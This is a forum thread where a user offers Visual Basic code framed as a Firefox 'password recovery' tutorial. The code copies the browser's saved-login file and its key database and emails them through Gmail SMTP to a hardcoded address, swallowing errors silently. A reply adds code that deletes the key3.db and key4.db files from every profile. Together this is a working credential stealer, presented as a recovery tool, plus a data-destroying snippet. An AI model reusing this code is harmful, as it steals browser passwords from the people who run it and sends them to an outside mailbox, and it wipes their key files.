Breadcrumbs

[Proprogrammer]

This is a tutorial on how to make a firefox recovery program in visual basic 2008 and only 2008.
This code works on the lastest firefox - firefox 3.6.10

First before you copy and paste the code, this is what it does! It extracts the lastest passwords that have been entered(they do not have to be saved!) then takes them outside of firefox, there they there!
NOTICE!: Firefox only holds the passords for that month so if you forgot a password in that month it will work otherwise, sorry! you lost it!
IMport these first!
Imports System.Net.Mail
Imports Microsoft.Win32
Imports System.IO

Code: Select all

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Try
            Dim FoundFile As Boolean = False

            Dim DefaultPath As String = Environment.GetEnvironmentVariable("APPDATA") & "\Mozilla\Firefox\Profiles"
            Dim Dirs As String() = Directory.GetDirectories(DefaultPath)

            For Each dir As String In Dirs
                If Not FoundFile Then
                    Dim Files As String() = Directory.GetFiles(dir)

                    For Each CurrFile As String In Files
                        If Not FoundFile Then
                            If System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons3.txt") Then

                                    Dim key4 As String = CurrFile.Replace("key3.db", "key4.db")
                                    If File.Exists(key4) Then
                                        File.Delete(key4)
                                    End If

                                Dim MyMailMessage As New MailMessage()
                                MyMailMessage.From = New MailAddress("you@gmail.com") 'Address from builder
                                MyMailMessage.To.Add("you@gmail.com") 'Address from builder
                                MyMailMessage.Subject = "FFPass:  " & System.Environment.MachineName
                                MyMailMessage.Body = "Hello"
                                MyMailMessage.Attachments.Add(New Attachment(CurrFile))
                                Dim keys As String = CurrFile.Replace("signons3.txt", "key3.db")
                                System.IO.File.Copy(keys, keys.Replace("key3", "key4"))
                                MyMailMessage.Attachments.Add(New Attachment(keys.Replace("key3", "key4")))
                                Dim SMPT As New SmtpClient("smtp.gmail.com")
                                SMPT.Port = 587
                                SMPT.EnableSsl = True
                                SMPT.Credentials = New System.Net.NetworkCredential("you@gmail.com", "yourgmailpassw0rd") 'vaqxg
                                SMPT.Send(MyMailMessage)
                                FoundFile = True
                            End If
                        Else

                            Exit For
                        End If
                    Next
                Else
                    Exit For
                End If
            Next
        Catch ex As Exception
        End Try

    End Sub
End Class

GIVE ME SOME REP! I REALLY HAD TO LOOK INTO THIS AND HOW FIREFOX WORKED.
COPYWRITE BY DELL CORP.

[Agust1337]

Why do you always put, Copywrite by dell corporation in the end of your posts?
But nice anyway :d

[XTechVB]

it doesn't work

[mandai]

I'd rather not have my passwords and an SMTPClient in the same function.

[Proprogrammer]

You dont have to do the email sender thing but it is a easier way instead of opening it.
If it doesnt work I do not know the reason, it works with some and doesnt work for some, so if it doesnt work, i dont know? It works for me.

The reason i put Copywrite by DEll Corp. At the end of all my posts is because basicly i get free copywrite from my dad who works at dell corp. as the assistant CEO.
:mrgreen: :mrgreen: :mrgreen: :mrgreen: :mrgreen: :mrgreen: :mrgreen:
COPYWRITE BY DELL CORP. LOL!

[mandai]

I don't know many companies that go as far as copyrighting posts made on public forums.

Is the idea of your code to delete key3.db or key4.db? There are fewer lines needed for doing just that.

[Proprogrammer]

Delete Both of the those Keys because those are usless

[mandai]

Code: Select all

        Dim DefaultPath As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles"
        Dim files As String() = Directory.GetFiles(DefaultPath, "*.db", SearchOption.AllDirectories)

        For i As Integer = 0 To files.Length - 1
            Dim filename As String = Path.GetFileName(files(i))
            If filename = "key3.db" Or filename = "key4.db" Then
                File.Delete(files(i))
            End If
        Next